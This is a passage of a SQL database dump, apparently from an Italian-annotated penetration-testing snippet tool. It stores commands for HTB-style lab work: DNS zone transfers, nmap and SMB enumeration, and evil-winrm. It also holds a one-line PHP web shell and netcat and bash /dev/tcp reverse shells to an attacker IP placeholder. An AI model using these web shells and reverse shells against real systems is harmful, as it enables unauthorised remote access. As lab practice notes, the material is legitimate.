(91,'Services','Standard Snip',NULL,'Richiesta per DNS server - porta 53\\naxfr se abilitato mostra domini interni','dig axfr inlanefreight.htb @$targetIp',2,0,188,'2026-06-21 14:08:31','2026-06-25 17:00:07'),
(92,'Services','Standard Snip',NULL,'Richiesta per DNS server - porta 53\\nany -> tutti i record\\nns -> record di dominio\\nmx -> mail','dig any inlanefreight.htb @$targetIp',1,0,188,'2026-06-21 14:08:31','2026-06-25 17:00:07'),
(94,'Reverse Shells','Script PHP',NULL,'Esecuzione comandi da web\\nPosso creare una pagina che prende comandi con get cmd, per usarla\\nhttp://server/path/to/page.php?\\ncmd=comando','<?php system($_GET[\'cmd\']);?>',1,0,103,'2026-06-21 14:08:31','2026-06-25 17:00:07'),
(95,'Reverse Shells','Standard Snip',NULL,'Netcat per Linux \\nAprire una reverse shell verso l\'attaccante','nc -e /bin/bash $attackerIp $attackerPort ',0,1,117,'2026-06-21 14:08:31','2026-06-25 17:00:07'),
(96,'Services','Standard Snip',NULL,'Connessione a client anonimi\\n-N posso toglierlo se non si connette','smbclient -L -N //$targetIp/',0,0,95,'2026-06-21 14:08:31','2026-06-25 17:00:07'),
(98,'Enumerazione Iniziale','Standard Snip',NULL,'Da usare dopo il comando che cerca le porte aperte','sudo nmap -sC -sV -p$targetPort $targetIp',1,0,115,'2026-06-21 14:08:31','2026-06-25 17:00:07'),
(99,'Enumerazione Iniziale','Standard Snip',NULL,'Salva le porte aperte per poter usare dopo','ports=$(sudo nmap -p- --min-rate=1000 -T4 $targetIp | grep \'^[0-9]\' | cut -d \'/\' -f 1 | tr \'\\n\' \',\' | sed s/,$//)',0,1,115,'2026-06-21 14:08:31','2026-06-25 17:00:07'),
(100,'Others','Standard Snip',NULL,'Contiene elementi che non sono main e per sbaglio ho tolto lo snip code related','No main snip code',0,1,NULL,'2026-06-21 14:08:31','2026-06-21 14:08:31'),
(101,'Settings','Standard Snip',NULL,'Serve a correggere l\'orologio\\noppure \\nsudo service ntpsec start','sudo systemctl start ntp.service',0,1,NULL,'2026-06-21 14:08:31','2026-06-21 14:08:31'),
(102,'Windows','Standard Snip',NULL,'Connessione ad WinRM con certificato e key ottenuto con file .pxf (pkcs12) e openssl\\n-S per abilitare ssl ','evil-winrm -c cert.pem -k key.pem -i $targetIp -S',0,0,206,'2026-06-21 14:08:31','2026-06-25 17:00:07'),
(103,'Reverse Shells','Standard Snip',NULL,'Reverse shell bash','/bin/bash -i > /dev/tcp/$attackerIp/$attackerPort 2>&1 0>&1',8,1,103,'2026-06-21 14:08:31','2026-06-25 17:00:07'),
(104,'Reverse Shells','Standard Snip',NULL,'Listening netcat\\nrlwrap permette di usare tasti freccia e altro nella shell','rlwrap nc -lvnp $attackerPort',6,1,103,'2026-06-21 14:08:31','2026-06-25 17:00:07'),
(105,'Reverse Shells','Standard Snip',NULL,'Stabilizzare la shell tty','SHELL=/bin/bash script -q /dev/null',7,1,103,'2026-06-21 14:08:31','2026-06-25 17:00:07'),
(106,'Services','Standard Snip',NULL,'Connessione anonima ad smb','smbclient -N -L //$targetIp',7,0,186,'2026-06-21 14:08:31','2026-06-25 17:00:07');

--
-- Table structure for table `snip_code_relations`
--

CREATE TABLE `snip_code_relations` (
  `snip_id` int(11) NOT NULL,
  `related_snip_id` int(11) NOT NULL,
  PRIMARY KEY (`snip_id`,`related_snip_id`),
  KEY `related_snip_id` (`related_snip_id`),
  CONSTRAINT `snip_code_relations_ibfk_1` FOREIGN KEY (`snip_id`) REFERENCES `snip_codes` (`id`) ON DELETE CASCADE,
  CONSTRAINT `snip_code_relations_ibfk_2` FOREIGN KEY (`related_snip_id`) REFERENCES `snip_codes` (`id`) ON DELETE CASCADE
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

--
-- Dumping data for table `snip_code_relations`
--

INSERT INTO `snip_code_relations` VALUES
(3,4),
(3,5),
(3,6),
(7,8),
(7,9),
(7,10),
(7,63),
(12,13),
(12,14),
(12,104),
(12,105),
(24,0),
(24,1),
(24,98),
(28,60),
(29,94),
(31,32),
(31,33),
(31,34),
(31,35),
(31,36),
(31,38),
(40,41),
(40,42),
(43,44),
(43,45),
(43,46),
(43,50),
(43,51),
(43,52),
(43,53),
(47,48),
(47,49),
(54,23),
(54,55),
(54,56),
(54,57),
(54,58),
(54,96),
(54,106),
(67,68),
(67,69),
(67,70),
(67,71),
(76,77),
(76,78),
(76,79),
(76,80),
(76,81),
(76,82),
(76,88),
(84,102),
(90,91),
(90,92),
(103,15),
(103,16),
(103,17);


